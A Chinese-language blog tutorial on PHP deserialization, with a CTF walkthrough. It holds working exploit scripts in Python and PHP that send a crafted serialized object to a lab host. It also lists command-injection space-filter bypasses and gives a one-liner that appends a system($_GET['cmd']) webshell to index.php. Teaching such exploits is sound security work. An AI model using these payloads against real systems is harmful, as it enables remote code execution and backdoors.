PHP反序列化漏洞簡介及相關技巧小結
要學習PHP反序列漏洞,先了解下PHP序列化和反序列化是什么東西。
php程序為了保存和轉儲對象,提供了序列化的方法,php序列化是為了在程序運行的過程中對對象進行轉儲而產生的。序列化可以將對象轉換成字符串,但僅保留對象里的成員變量,不保留函數(shù)方法。
php序列化的函數(shù)為serialize。反序列化的函數(shù)為unserialize。
序列化
舉個栗子:
- <?php
- class Test{
- public$a = 'ThisA';
- protected$b = 'ThisB';
- private$c = 'ThisC';
- publicfunction test1(){
- return'this is test1 ';
- }
- }
- $test = new Test();
- var_dump(serialize($test));
- ?>
輸出:
解釋一下:
O代表是對象;:4表示改對象名稱有4個字符;:”Test”表示改對象的名稱;:3表示改對象里有3個成員。
接著是括號里面的。我們這個類的三個成員變量由于變量前的修飾不同,在序列化出來后顯示的也不同。
第一個變量a序列化后為 s:1:”a”;s:5:”ThisA”;
由于變量是有變量名和值的。所以序列化需要把這兩個都進行轉換。序列化后的字符串以分號分割每一個變量的特性。
這個要根據(jù)分號來分開看,分號左邊的是變量名,分號右邊的是變量的值。
先看左邊的。其實都是同理的。s表示是字符串,1表示該字符串中只有一個字符,”a”表示該字符串為a。右邊的同理可得。
第二個變量和第一個變量有所不同,多了個亂碼和 * 號。這是因為第一個變量a是public屬性,而第二個變量b是protected屬性,php為了區(qū)別這些屬性所以進行了一些修飾。這個亂碼查了下資料,其實是 %00(url編碼,hex也就是0×00)。表示的是NULL。所以protected屬性的表示方式是在變量名前加個%00*%00
第三個變量的屬性是private。表示方式是在變量名前加上%00類名%00
可以看到雖然Test類中有test1這個方法,但是序列化后的字符串中并沒有包含這個方法的信息。所以序列化不保存方法。
反序列化
- <?php
- class Test{
- public$a = 'ThisA';
- protected$b = 'ThisB';
- private$c = 'ThisC';
- publicfunction test1(){
- return'this is test1 ';
- }
- }
- $test = new Test();
- $sTest = serialize($test);
- $usTest = unserialize($sTest);
- var_dump($usTest);
- ?>
輸出:
可以看到類的成員變量被還原了,但是類方法沒有被還原,因為序列化的時候就沒保存方法。
魔術方法
大概了解了php序列化和序列化的過程,那么就來介紹一下相關的魔術方法。
- construct 當一個對象創(chuàng)建時被調用
- destruct 當一個對象銷毀時被調用
- toString 當一個對象被當作一個字符串使用
- sleep 在對象被序列化之前運行
- wakeup 在對象被反序列化之后被調用
直接舉栗子吧:
- <?php
- classTest{
- public function __construct(){
- echo 'construct run';
- }
- public function __destruct(){
- echo 'destruct run';
- }
- public function __toString(){
- echo 'toString run';
- }
- public function __sleep(){
- echo 'sleep run';
- }
- public function __wakeup(){
- echo 'wakeup run';
- }
- }
- /**/
- echo'new了一個對象,對象被創(chuàng)建,執(zhí)行__construct</br>';
- $test= new Test();
- /**/
- echo'</br>serialize了一個對象,對象被序列化,先執(zhí)行__sleep,再序列化</br>';
- $sTest= serialize($test);
- /**/
- echo'</br>unserialize了一個序列化字符串,對象被反序列化,先反序列化,再執(zhí)行__wakeup</br>';
- $usTest= unserialize($sTest);
- /**/
- echo'</br>把Test這個對象當做字符串使用了,執(zhí)行__toString</br>';
- $string= 'hello class ' . $test;
- /**/
- echo'</br>程序運行完畢,對象自動銷毀,執(zhí)行__destruct</br>';
- ?>
輸出:
可以看到有一個警告一個報錯,是因為__sleep函數(shù)期望能return一個數(shù)組,而__toString函數(shù)則必須返回一個字符串。由于我們都是echo的沒有寫return,所以引發(fā)了這些報錯,那么我們就按照報錯的來,要什么加什么。
輸出:
現(xiàn)在只需要明白這5個魔法函數(shù)的執(zhí)行順序即可,至于里面的代碼就要看程序員或者出題人怎么寫了。。。對于__construct函數(shù)的話我個人認為好像莫有多大用。。也許是我菜吧。。感覺沒有什么地方能在反序列化的時候用上。歡迎大佬指點。
一道題目引發(fā)的技巧小結
了解了反序列化的基礎和一些魔法函數(shù)后,我們來看到題吧。該題不僅考了反序列化,還簡單考察了一下變量覆蓋和命令注入的正則繞過。其中有一些坑我們可以看一下。
源碼很簡單:
- <?php
- error_reporting(0);
- class come{
- private $method;
- private $args;
- function __construct($method, $args) {
- $this->method = $method;
- $this->args = $args;
- }
- function __wakeup(){
- foreach($this->args as $k => $v) {
- $this->args[$k] = $this->waf(trim($v));
- }
- }
- function waf($str){
- $str=preg_replace("/[<>*;|?\n ]/","",$str);
- $str=str_replace('flag','',$str);
- return $str;
- }
- function echos($host){
- system("echos $host".$host);
- }
- function __destruct(){
- if (in_array($this->method, array("echos"))) {
- call_user_func_array(array($this, $this->method), $this->args);
- }
- }
- }
- $first='hi';
- $var='var';
- $bbb='bbb';
- $ccc='ccc';
- $i=1;
- foreach($_GET as $key => $value) {
- if($i===1)
- {
- $i++;
- $$key = $value;
- }
- else{break;}
- }
- if($first==="doller")
- {
- @parse_str($_GET['a']);
- if($var==="give")
- {
- if($bbb==="me")
- {
- if($ccc==="flag")
- {
- echo"<br>welcome!<br>";
- $come=@$_POST['come'];
- unserialize($come);
- }
- }
- else
- {echo "<br>think about it<br>";}
- }
- else
- {
- echo "NO";
- }
- }
- else
- {
- echo "Can you hack me?<br>";
- }
- ?>
拿到源碼我們先簡單瀏覽一下,看到parse_str就想到了用變量覆蓋來過這些if語句,而parse_str的參數(shù)是通過GET請求中的a參數(shù)中獲得,parse_str進行變量分割的符號是 & 號,沒怎么多想就直接先打上一手請求先:
- ?first=doller&a=var=give&bbb=me&ccc=flag
我原本的意愿是希望這樣子被解析
- ?first=doller&a=var=give&bbb=me&ccc=flag
希望紅字是一個整體,是一個字符串,是a這個參數(shù)的值??偣驳腉ET參數(shù)就兩個,一個first一個a。但php解析的是。。。
- ?first=doller&a=var=give&bbb=me&ccc=flag
即有4個參數(shù),a的值是var=give,但遇到&號在url中就被解析成了GET參數(shù)的分割符,認為bbb=me是一個新的GET的參數(shù)。
不過好在有URL編碼這種東西,可以在這有歧義的時候扭轉局勢,我們把&號進行URL編碼,這樣子解析時就會認為是一個字符串了。URL編碼可以用php的urlencode函數(shù)。得到&的URL編碼為%26。構造請求:
- ?first=doller&a=var=give%26bbb=me%26ccc=flag
看到了歡迎字樣:
查看代碼,發(fā)現(xiàn)到了反序列化的地方了。而反序列化的來源是通過POST提交的come參數(shù)
知道了要反序列化,接下來就是確定要反序列化的類了。這個源碼就一個類come。對這個類進行審計。
__construct感覺沒什么用,先扔在一邊,重點看__wakeup和__destruct函數(shù),__wakeup是調用了一個waf函數(shù),用來做正則過濾的,這個我們先放一下,我們看__destruct函數(shù),它使用了call_user_func_array這個php內置的方法,作用是調用一個指定方法。舉個這個函數(shù)的簡單栗子:
第一個參數(shù)是要調用的函數(shù),第二個參數(shù)是一個數(shù)組,用于給調用的函數(shù)傳參。數(shù)組中第一個值就是函數(shù)中的第一個參數(shù),以此類推。
但是題目中的call_user_func_array中的第一個參數(shù)是個數(shù)組,這什么意思呢。。?
數(shù)組的話就是數(shù)組的第一個元素表示是該方法所在的類,第二個元素就是方法名。
我們來看看這個類的成員變量吧,在可以反序列化后,就要明白這個類中的所有成員變量都是我們可控的,所以call_user_func_array()中的$this->method和$this->args也就是我們可控的。不過由于執(zhí)行這個函數(shù)要通過一個if,且調用的函數(shù)必須是本類的函數(shù),那我們就只能看看本類中還有什么方法吧。
我們看看進入call_user_func_array()函數(shù)前的if判斷,它判斷我們要調用的函數(shù)名是否在一個允許調用的列表里,而這個列表就只有echos這一個函數(shù),也就是說我們的method變量已經(jīng)限定死了,必須為echos。
那么我們只能去看看echos函數(shù)里有什么了,居然有system函數(shù)
那么我們就可以進行命令注入了,可以看到echos函數(shù)就只有一個形參,結合上面我們說到的call_user_func_array()函數(shù),就形成了這樣一個思路:
- 通過反序列化控制method和args兩個成員變量
- method必須是echos不然通不過if判斷
- 通過call_user_func_array()函數(shù)第一個參數(shù)調用本類中的echos方法,第二個參數(shù)給方法傳參-
- 由于echos方法中的system函數(shù)的參數(shù)是拼接形參的,完成命令注入。
思路有了,那么我們看看args變量要怎么寫吧。根據(jù)執(zhí)行順序,先wakeup再destruct(由于是反序列化的,不會執(zhí)行construct,只有new才會執(zhí)行construct)。那么我們看看wakeup中又進行了什么操作
可以看到它默認將args變量視為一個數(shù)組,對其進行了foreach,然后又對數(shù)組中的每個元素送去了waf進行過濾。這表明我們傳入的args是一個數(shù)組。
再來看看waf函數(shù)是干嘛的。
第一行,正則匹配args的元素,如果元素中出現(xiàn)將斜杠/之間的任意一個字符,就將他們替換為空。這里過濾了|符號,這個有點傷,因為命令中是通過|進行管道的操作,在命令注入時用|進行拼接很有用,不過即使它禁用了,我們還可以通過& 達到多個命令一行執(zhí)行的目的。
第二行,如果args中的元素中存在flag這個字符串,替換為空,也就是說我們要讀取flag文件時要通過雙寫flag進行繞過。
這里注意一下system函數(shù),有個坑。。。
echo寫錯寫成了echos。。。。即這個命令本身就是錯的,所以選擇命令的分隔符要慎重。
資料:
- 是不管前后命令是否執(zhí)行成功都會執(zhí)行前后命令
- 是前面的命令執(zhí)行成功才能執(zhí)行后面的命令
- 是前面的命令執(zhí)行不成功才能執(zhí)行后面的命令
- 管道符
所以我們要使用&符而不能使用&&。
復制這一串序列化字符串到Postman上,然后既然我們都拿到源碼了,我們把第2行的error_reporting(0);先注釋起來,這個意思是抑制報錯,這對我們調試代碼很不友好,把報錯打開才能更快找到問題所在。
發(fā)送payload,emmm…… no responose?
在這里思來想去,折騰了一下,后面通過var_dump才找到問題源頭(var_dump大法好)
前面剛說了要注意類型。。。private和protected的變量名前都是有0×00的。。。echo的輸出由于是NULL就空過去了,但是沒有逃過var_dump的法眼(var_dump大法好)
那么我們就要手動添加0×00上去了,這里可以用python、php等編程語言將0×00轉換成字符然后再通過他們自己的網(wǎng)絡模塊發(fā)送,
栗子:
python:(2.7)
通過decode和encode來進行編碼
- import requests
- s = requests.session()
- url = "http://192.168.27.144/?first=doller&a=var=give%26bbb=me%26ccc=flag"
- n = '00'.decode('hex')
- o = 'O:4:"come":2:{s:12:"'+n+'come'+n+'method";s:5:"echos";s:10:"'+n+'come'+n+'args";a:1:{i:0;s:3:"&ls";}}'
- r = requests.post(url,data={"come":o})
- print(r.text)
php:
通過urldecode進行對%00進行解碼
- <?php
- $curl = curl_init();
- curl_setopt($curl,CURLOPT_URL,'http://192.168.27.144/?first=doller&a=var=give%26bbb=me%26ccc=flag');
- curl_setopt($curl,CURLOPT_POST, 1);
- $n = urldecode('%00');
- $o = 'O:4:"come":2:{s:12:"'.$n.'come'.$n.'method";s:5:"echos";s:10:"'.$n.'come'.$n.'args";a:1:{i:0;s:3:"&ls";}}';
- curl_setopt($curl,CURLOPT_POSTFIELDS, ['come'=>$o]);
- curl_exec($curl);
- curl_close($curl);
- ?>
不過有更快的方法。。。直接通過postman的urlencode/urldecode即可。因為0×00也就是url編碼中的%00。所以url編碼一下就完事。
要用%00包裹住類名,不能包多了也不能包少了,雖然%00也算一個字符,但是Php序列化的時候已經(jīng)幫我們算好了,所以不需要修改,或者說,我們之前的那個長度值就是錯的。。。
選中%00,右鍵,選擇decode即可。
結果:
我們再發(fā)送,有response了,
發(fā)現(xiàn)有flag.txt。由于我是windows環(huán)境,讀取文件使用type命令。
type命令格式:type文件路徑
修改payload。
發(fā)現(xiàn)無回顯
命令是對的,是因為剛剛我們忽略的waf函數(shù)在作怪。剛剛提到wakup時將每個args變量拿去在waf函數(shù)中洗了個澡。過濾內容為:
flag這個字符串被替換為空,可以通過雙寫flag來繞過:flflagag
不過在第一個正則中過濾了空格就有點難受了,總所周知系統(tǒng)命令都是要打個空格才能添加參數(shù)的,過濾了空格怎么破?
思來想去后,發(fā)現(xiàn)windows沒有人提供資料,但是linux下有很多。
繞過方法:
- !! (最好一開始就先用這個,執(zhí)行上一條命令,也許有奇效。。)
- cat${IFS}flag.txt
- cat$IFS$9flag.txt
- cat<flag.txt
- cat<>flag.txt
- {cat,flag.txt}
- KG=$’\x20flag.txt’&&cat$KG (\x20轉換成字符串就是空格,這里通過變量的方式巧妙繞過)
隨便用一個(linux環(huán)境下):
windows環(huán)境下的話時我突發(fā)奇想隨便試出來的。適用性不是很廣,也就type這個命令能用用。。
- type.\flag.txt
- type,flag.txt
- echo,123456
echo的話這個如果腦洞大點可以通過echo >>的方式將一句話追加到php文件末尾,達到getShell的目的。不過這樣子如果該php文件很規(guī)范的用了?>結尾就莫得,如果沒有那么規(guī)范,沒用?>結尾就可以成功。
示例:
- echo,@system($_GET['cmd']);>>index.php
然后就可以通過新的后門來getshell了。